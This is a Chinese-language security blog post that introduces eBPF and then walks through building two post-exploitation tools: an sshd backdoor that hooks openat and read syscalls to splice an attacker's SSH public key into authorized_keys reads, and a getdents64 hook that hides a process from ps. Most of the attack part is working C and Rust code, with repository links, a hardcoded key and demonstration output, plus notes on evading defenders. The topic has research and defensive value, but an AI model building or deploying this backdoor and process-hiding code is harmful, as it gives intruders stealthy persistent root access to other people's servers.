如何借助eBPF打造隐蔽的后门
2023-2-16 16:11:0 Author: xz.aliyun.com(查看原文) 阅读量:54 收藏

eBPF技术简介

linux内核本质上是内核驱动的,下图表现了这一过程:

图片来自Cilium 项目的创始人和核心开发者在 2019 年的一个技术分享 How to Make Linux Microservice-Aware with Cilium and eBPF

  • 在图中最上面,有进程进行系统调用,它们会连接到其他应用,写数据到磁盘,读写 socket,请求定时器等等。这些都是事件驱动的。这些过程都是系统调用。
  • 在图最下面,是硬件层。这些可以是真实的硬件,也可以是虚拟的硬件,它们会处理中断事 件,例如:“嗨,我收到了一个网络包”,“嗨,你在这个设备上请求的数据现在可以读了”, 等等。可以说,内核所作的一切事情都是事件驱动的。
  • 在图中间,是 12 million 行巨型单体应用(Linux Kernel)的代码,这些代码处理各种事件。

eBPF为什么会成为我们的好帮手呢?

因为BPF 给我们提供了在这些事件发生时运行指定的eBPF程序的能力。

eBPF 程序并不像常规的线程那样,启动后就一直运行在那里,它需要事件触发后才会执行。这些事件包括系统调用、内核跟踪点、内核函数和用户态函数的调用退出、网络事件,等等。借助于强大的内核态插桩(kprobe)和用户态插桩(uprobe),eBPF 程序几乎可以在内核和应用的任意位置进行插桩。

例如,我们可以在以下事件发生时运行我们的 BPF 程序:

  • 应用发起 read/write/connect 等系统调用
  • TCP 发生重传
  • 网络包达到网卡

这很类似hook系统函数的行为,我们知道hook系统函数修改原有逻辑很容易会造成系统崩溃,那么 Linux 内核是如何实现 eBPF 程序的安全和稳定的呢?

首先,ebpf程序并不是传统意义上的一个ELF执行程序,而是一段BPF字节码,这段字节码会交给内核的ebpf虚拟机。比如我们可以通过tcpdump 生成一段对应过滤规则的字节码

> sudo tcpdump -i ens192 port 22 -ddd
24
40 0 0 12
21 0 8 34525
48 0 0 20
21 2 0 132
21 1 0 6
21 0 17 17
40 0 0 54
21 14 0 22
40 0 0 56
21 12 13 22
21 0 12 2048
48 0 0 23
21 2 0 132
21 1 0 6
21 0 8 17
40 0 0 20
69 6 0 8191
177 0 0 14
72 0 0 14
21 2 0 22
72 0 0 16
21 0 1 22
6 0 0 262144
6 0 0 0

内核在接受 BPF 字节码之前,会首先通过验证器对字节码进行校验,只有校验通过的 BPF

  1. 只有特权进程才可以执行 bpf 系统调用;
  2. BPF 程序不能包含无限循环;
  3. BPF 程序不能导致内核崩溃;
  4. BPF 程序必须在有限时间内完成。
  5. eBPF 程序不能随意调用内核函数,只能调用在 API 中定义的辅助函数;
  6. BPF 程序可以利用 BPF 映射(map)进行存储,BPF 程序收集内核运行状态存储在映射中,用户程序再从映射中读出这些状态。eBPF 程序栈空间最多只有 512 字节,想要更大的存储,就必须要借助映射存储;

安全校验后 eBPF 字节码将通过即时编译器(JIT,Just-In-Time Compiler)编译成为原生机器码,提供近乎内核本地代码的执行效率,并挂载到具体的 hook 点上。用户态程序与 eBPF 程序间通过常驻内存的 eBPF Map 结构进行双向通信,每当特定的事件发生时,eBPF 程序可以将采集的统计信息通过 Map 结构传递给上层用户态的应用程序,进行进一步数据处理与分析。下图具体的展现了这一过程

为了确保在内核中安全地执行,eBPF 还通过限制了能调用的指令集。这些指令集远不足以模拟完整的计算机。为了更高效地与内核进行交互,eBPF 指令有意采用了 C 调用约定,其提供的辅助函数可以在 C 语言中直接调用,这也方便了我们开发eBPF程序,通常我们借助 LLVM 把编写的 eBPF 程序转换为 BPF 字节码,然后再通过 bpf 系统调用提交给内核执行。

下面,我们将通过实际开发来感受eBPF给安全人员提供的便利。

SSHD_BACKDOOR

我们知道,当用户在连接到远程的ssh服务器并提供非对称密钥时,远程服务器sshd会打开对应用户目录下的 ~/.ssh/authorized_keys 验证用户是否可以通过对应的密钥登陆。

因此,我们的目标很简单:就是让sshd打开~/.ssh/authorized_keys 读到的公钥文件夹中含有我们的公钥信息,这样我们就可以认证登陆了。

其过程可以简化为如下C语言代码

char buf [4096] = {0x00};
int fd = open("/root/.ssh/authorized_keys", O_RDONLY);
if (fd < 0) {
    printf("ERROR OPEN FILE");
}
memset(buf, 0 , sizeof(buf));
if (read(fd, &buf, 4096) > 0) {
    printf("%s", buf);
}
close(fd);
return 0;

我们很容易可以想到,hook read函数,将获得的文件内容修改为含有我们公钥的的文件内容。

> sudo bpftrace -lv "tracepoint:syscalls:sys_enter_read"
tracepoint:syscalls:sys_enter_read
    int __syscall_nr
    unsigned int fd
    char * buf
    size_t count

我们需要获得buf和count,即写入sshd读取缓存的地址,和对应的长度

为什么不直接向fd写?
因为bpf只支持有限的函数调用,不能调用write向fd中写

从这里我们也可以看出,如果只是hook这个函数,我们并不知道是哪个程序,打开了哪个文件调用的这个函数,为了进行过滤,我们还需要hook openat syscall

> sudo bpftrace -lv "tracepoint:syscalls:sys_enter_openat"
tracepoint:syscalls:sys_enter_openat
    int __syscall_nr
    int dfd
    const char * filename
    int flags
    umode_t mode

这里我们可以拿到filename,通过/root/.ssh/authorized_keys 这一打开文件名特征来进行过滤

对应进程,可以通过bpf_helper自带的bpf_get_current_comm函数来获取对应的进程名,这里我们通过sshd进行过滤。

总体来说,流程可以分为三步

  1. hook openat syscall,根据文件名和进程名过滤拿到sshd的pid 和打开的 fd (通过exit时的ctx→ret)
  2. hook read syscall 根据fd和pid过滤拿到sshd读取key的buf,并通过bpf_probe_write_user修改用户空间内存中的buf
  3. hook exit syscal 清理ebpf map中保存的fd和pid,防止破坏其他进程和文件。

具体实现

Esonhugh 师傅基于cilium写了一版,为了锻炼自己写ebpf和rust的能力,拿libbpf-rs重写了一版,仓库在https://github.com/EkiXu/sshd_backdoor 编译后的程序大小可以达到只有几百k。

bpf的部分是类似的,在enter时检查进程名参数中的文件名

SEC("tp/syscalls/sys_enter_openat")
int handle_openat_enter(struct trace_event_raw_sys_enter *ctx)
{
    size_t pid_tgid = bpf_get_current_pid_tgid();
    char comm[TASK_COMM_LEN];
    if(bpf_get_current_comm(&comm, TASK_COMM_LEN)) {
        return 0;
    }
    const int target_comm_len = 5;
    const char *target_comm = "sshd";

    for (int i = 0; i < target_comm_len; i++)
    {
        if (comm[i] != target_comm[i])
        {
            return 0;
        }
    }

    char filename[27];
    bpf_probe_read_user(&filename, target_file_len, (char *)ctx->args[1]);
    for (int i = 0; i < target_file_len; i++)
    {
        if (filename[i] != target_file[i])
        {
            return 0;
        }
    }
    unsigned int zero = 0;
    bpf_map_update_elem(&map_fds, &pid_tgid, &zero, BPF_ANY);
    return 0;
}

在exit的时候存储对应的返回值fd

SEC("tp/syscalls/sys_exit_openat")
int handle_openat_exit(struct trace_event_raw_sys_exit *ctx)
{
    size_t pid_tgid = bpf_get_current_pid_tgid();
    unsigned int *check = bpf_map_lookup_elem(&map_fds, &pid_tgid);
    if (check == 0) return 0;
    unsigned int fd = (unsigned int)ctx->ret;
    bpf_map_update_elem(&map_fds, &pid_tgid, &fd, BPF_ANY);
    return 0;
}

在read enter时存储buff指针参数和大小

SEC("tracepoint/syscalls/sys_enter_read")
int handle_read_enter(struct trace_event_raw_sys_enter *ctx)
{
    size_t pid_tgid = bpf_get_current_pid_tgid();
    unsigned int *pfd = (unsigned int *) bpf_map_lookup_elem(&map_fds, &pid_tgid);
    if (pfd == 0) return 0;

    unsigned int map_fd = *pfd;
    unsigned int fd = (unsigned int)ctx->args[0];
    if (map_fd != fd) return 0;

    long unsigned int buff_addr = ctx->args[1];
    size_t size = ctx->args[2];
    struct syscall_read_logging data;
    data.buffer_addr = buff_addr;
    data.calling_size = size;

    bpf_map_update_elem(&map_buff_addrs, &pid_tgid, &data, BPF_ANY);
    return 0;
}

在read exit时根据存储的fd,和在enter时拿到的存储buff指针,修改对应的buff指针尾部MAX_PAYLOAD_LEN字节长的空间。(因此需要对应目标文件有那么多空间,否则无法写入,实战中可以向对应文件写入一些空格占位)

SEC("tracepoint/syscalls/sys_exit_read")
int handle_read_exit(struct trace_event_raw_sys_exit *ctx)
{
    ...
    u8 key = 0;
    struct custom_payload *payload = bpf_map_lookup_elem(&map_payload_buffer, &key);
    u32 len = payload->payload_len;
    long unsigned int new_buff_addr = buff_addr + read_size - MAX_PAYLOAD_LEN;
    long ret = bpf_probe_write_user((void *)new_buff_addr, payload->raw_buf, MAX_PAYLOAD_LEN); 
    ...
    bpf_map_delete_elem(&map_fds, &pid_tgid);
    bpf_map_delete_elem(&map_buff_addrs, &pid_tgid);
    return 0;
}

关于加载bpf程序

const SRC: &str = "src/bpf/backdoor.bpf.c";
let mut out =
        PathBuf::from(env::var_os("OUT_DIR").expect("OUT_DIR must be set in build script"));
    out.push("backdoor.skel.rs");

    println!("cargo:rerun-if-changed=src/bpf");

    SkeletonBuilder::new()
        .source(SRC)
        .build_and_generate(&out)
        .unwrap();

在build.rs中编译对应的c文件到生成backdoor.skel.rs

fn main() -> Result<(),Error>  {
    let mut skel_builder = BackdoorSkelBuilder::default();
    skel_builder.obj_builder.debug(true);
    let open_skel = skel_builder.open()?;

    // Begin tracing
    let mut skel = open_skel.load()?;
    skel.attach()?;
    loop {
    }
}

通过builder生成对应的skel,调用load和attach进行挂载,当然这里需要loop阻塞一下,不然就直接退出了。

用户态可以监听perfbuf和ringbuffer这两个map,以ringbuffer为例

let mut builder = RingBufferBuilder::new();
    builder.add(skel.maps_mut().rb(), rb_handler).expect("Failed to add ringbuf");
    let ringbuf = builder.build().expect("Failed to build");

    loop {
        ringbuf.poll(Duration::from_millis(100))?;
    }

rb_handler就是对应的处理函数

也可以修改其他的map,比如这里向map里传入我们自定义的公钥内容

//Replace your pub key here
    let val = CustomPayload::new(b"\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC31FcYRWU1GQi6r0jLHwm7Ko9j8WaWFC9Y4RbRjbrRbx22HS/ZWhUr2mKtYR//QxhsP4uMzWOJka+yxxBhTo6GPJboMWrkPMr0R23+cXG2SIub/BeZqNe7qDOadp9Ng/ovzEWtpCQhtkrDSv+98RuHfNCngdpIjPDzf11k+GNNKwGtltO5YmUay/tqVrm8AsnmKhB7Xe0kuNPzHQVTWFB46k6xeWs/0NqHETmYxFznCYxGXYPX7+QMdGPZVvG2MLAxAUN/i6x7oygD6AGYTk9iQyAG/1TTgzSMWVXGC+8ZoSMQCxwNKpVl2Tqf79CmKjo6aTsJOihCtmSMoRRvr9vz9p/KYrSH5pSYbblKQHlYQRqFlaPRsqK13/oRE2cgVu0cU+hMSfMW+COYez0k82S0fck9BdEhU6PLyFby3fs7QHedeKvR6bKGh7kAsTnIbvJNx0VHQ/0X2Tcf0exW8oYFGMq41/aIWfCvjAyHtf66NqbrtIxD11AJjgmf8pgcR80= [email protected]\n");
    let key = (0 as u8).to_ne_bytes();
    //let val = custom_key;
    unsafe {
        if let Err(e) = skel.maps_mut().map_payload_buffer().update(&key, plain::as_bytes(&val), MapFlags::ANY){
            panic!("{}",e)
        }
    }

这里的结构推荐用Plain来完成从[u8]到结构的序列化和反序列化,比如我们存储的CustomPayload,可以这么写(注意空间和长度需要固定)

#[derive(Debug, Clone)]
pub struct CustomPayload {
    pub raw_buf: [u8; MAX_PAYLOAD_LEN],
    pub payload_len: u32,
}

impl CustomPayload {
    pub fn new<const A:usize>(buf:&[u8;A])->Self{
        CustomPayload {
            raw_buf: pad_zeroes(*buf),
            payload_len: buf.len() as u32,
        }
    }
}

unsafe impl Plain for CustomPayload{}

效果如下

FILE_CLOAK

上面我们通过ebPF实现了一个sshd backdoor。其实它还不够隐蔽,比如这个进程会显示在进程树中,通过ps命令可以很容易的排查出可疑进程。

在linux下,我们排查系统运行的进程实际上是通过访问/proc伪文件系统实现的,包括ps命令,我们可以通过strace来查看ps使用的系统调用来验证这一说法。

> strace -e openat ps
...
openat(AT_FDCWD, "/proc/meminfo", O_RDONLY) = 4
openat(AT_FDCWD, "/proc", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 5
openat(AT_FDCWD, "/proc/1/stat", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/1/status", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/2/stat", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/2/status", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/3/stat", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/3/status", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/4/stat", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/4/status", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/5/stat", O_RDONLY) = 6
...

那么,很自然的会想到利用上一篇文章中说的,让ps读不到对应的文件就可以使进程不出现在列表中。然而进程对应的是一个目录而非文件,我们可能需要劫持目录下的所有文件。因此,我们不妨换一个思路,通过getdents系统调用来篡改目录。现代linux系统使用的调用为getdents64,对应的原型和参数结构如下

int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);

//其中
struct linux_dirent64 {
    u64        d_ino;    /* 64-bit inode number */
    u64        d_off;    /* 64-bit offset to next structure */
    unsigned short d_reclen; /* Size of this dirent */
    unsigned char  d_type;   /* File type */
    char           d_name[]; /* Filename (null-terminated) */ };

我们也可以验证ps中确实使用了这一系统调用

trace -e getdents64 ps
getdents64(5, 0x55e5e2a6d380 /* 324 entries */, 32768) = 8832
    PID TTY          TIME CMD
  46489 pts/17   00:00:01 bash
  57392 pts/17   00:00:00 strace
  57395 pts/17   00:00:00 ps
getdents64(5, 0x55e5e2a6d380 /* 0 entries */, 32768) = 0
+++ exited with 0 +++

隐藏流程

对于正常读取文件:

linux_dirent64 结构体在内存的排列是连续的,而且 sys_getdents64的第二个参数 dirent 正好指向第一个 linux_dirent64 结构体,所以根据上面的信息,我们只要知道 linux_dirent64 链表的大小,就能根据 linux_dirent64->d_reclen,就能准确从连续的内存中分割出每一块linux_dirent64

那么隐藏的思路就是:

通过修改前一块linux_dirent64->d_reclen 为下一块的d_reclen+这一块的d_reclen 这样读取文件是就会跳过这一部分直接到下一块。

具体实现

具体代码也用libbpf-rust实现了一版

https://github.com/EkiXu/file_cloak

主要是对SEC("tracepoint/syscalls/sys_exit_getdents64")的hook

首先是遍历linux_dirent64 结构体,找到对应的目录,这里通过尾调用的方式绕过eBPF对循环的限制,具体来说就是将原来的循环拆分成大小为128的块,一轮循环结束后,记录当前遍历的位置bpos,通过bpf_tail_call再次调用这个函数进行遍历,直到找到对应的文件名。

int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx)
{
        ...

    long unsigned int buff_addr = *pbuff_addr;
    struct linux_dirent64 *dirp = 0;
    int pid = pid_tgid >> 32;
    short unsigned int d_reclen = 0;
    char filename[MAX_FILE_LEN];

    unsigned int bpos = 0;
    unsigned int *pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid);
    if (pBPOS != 0) {
        bpos = *pBPOS;
    }

    for (int i = 0; i < 128; i ++) {
        if (bpos >= total_bytes_read) {
            break;
        }
        dirp = (struct linux_dirent64 *)(buff_addr+bpos);
        bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);
        bpf_probe_read_user_str(&filename, sizeof(filename), dirp->d_name);

        int j = 0;
        for (j = 0; j < file_to_hide_len; j++) {
            if (filename[j] != file_to_hide[j]) {
                break;
            }
        }
        if (j == file_to_hide_len) {

            bpf_map_delete_elem(&map_bytes_read, &pid_tgid);
            bpf_map_delete_elem(&map_buffs, &pid_tgid);

            bpf_tail_call(ctx, &map_prog_array, PROG_PATCHER);
        }
        bpf_map_update_elem(&map_to_patch, &pid_tgid, &dirp, BPF_ANY);
        bpos += d_reclen;
    }

    if (bpos < total_bytes_read) {
        bpf_map_update_elem(&map_bytes_read, &pid_tgid, &bpos, BPF_ANY);
        bpf_tail_call(ctx, &map_prog_array, PROG_HANDLER);
    }

    bpf_map_delete_elem(&map_bytes_read, &pid_tgid);
    bpf_map_delete_elem(&map_buffs, &pid_tgid);
    return 0;
}

找到之后,同样通过尾调用跳转到patch函数,注意,在遍历的过程中我们一直在更新存储之前的文件,当遍历到目标文件时,map里面的文件就是目标之前的文件。此后我们修改长度覆盖目标文件即可。过程如下。

SEC("tracepoint/syscalls/sys_exit_getdents64")
int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx)
{
        ...

    long unsigned int buff_addr = *pbuff_addr;
    struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *)buff_addr;

    short unsigned int d_reclen_previous = 0;
    bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous), &dirp_previous->d_reclen);

    struct linux_dirent64 *dirp = (struct linux_dirent64 *)(buff_addr+d_reclen_previous);
    unsigned short d_reclen = 0;
    bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);

    short unsigned int d_reclen_new = d_reclen_previous + d_reclen;
    long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new));

        ...

    bpf_map_delete_elem(&map_to_patch, &pid_tgid);
    return 0;
}

用户态的实现也是类似的,注意我们可以直接修改bpf字节码中的rodata段来存储我们想要的目标文件名。

open_skel.rodata().file_to_hide_len = target_folder.as_bytes().len() as i32;
open_skel.rodata().file_to_hide[..target_folder.as_bytes().len()].copy_from_slice(target_folder.as_bytes());

最终效果如下

> ps aux |grep listen.py
eki        63504  0.0  0.0  91636  5876 pts/32   Sl+  Feb15   0:00 python listen.py
eki        82405  0.0  0.0   7012  2140 pts/35   S+   01:33   0:00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn --exclude-dir=.idea --exclude-dir=.tox listen.py

---
> sudo target/debug/file_cloak 63504

--- 
> ps aux |grep listen.py
eki        82302  0.0  0.0   7012  2228 pts/35   S+   01:33   0:00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn --exclude-dir=.idea --exclude-dir=.tox listen.py

总结

在本文中,我们实际上利用eBPF机制实现了两个Gadget:

  • 通过劫持openat和read系统调用实现任意程序读取文件内容劫持
  • 通过劫持getdents64系统调用实现任意程序列目录劫持

通过这两个Gadget就能实现一个隐蔽的sshd后门。当然也可以开发出更多的玩法。

优点和劣势

优点:

  • 文件痕迹上足够隐蔽,如果蓝队不查看可疑的bpf进程的话,由于这种方式并不会对磁盘上的文件造成影响,很难检测到添加了公钥,也很难修复。
  • 行为痕迹上足够隐蔽,全程的行为都是正常的,攻击者只是正常的使用公钥连接目标服务器。同时后门进程也不会出现在进程树中。

劣势:

  • ebpf需要root权限才能执行。因此只能应用于渗透提权后的权限维持。
  • 由于ebpf本身的特性,后门程序对目标系统内核版本的要求比较高,无法运行在较低的内核版本上。

参考资料


文章来源: https://xz.aliyun.com/t/12173
如有侵权请联系:admin#unsafe.sh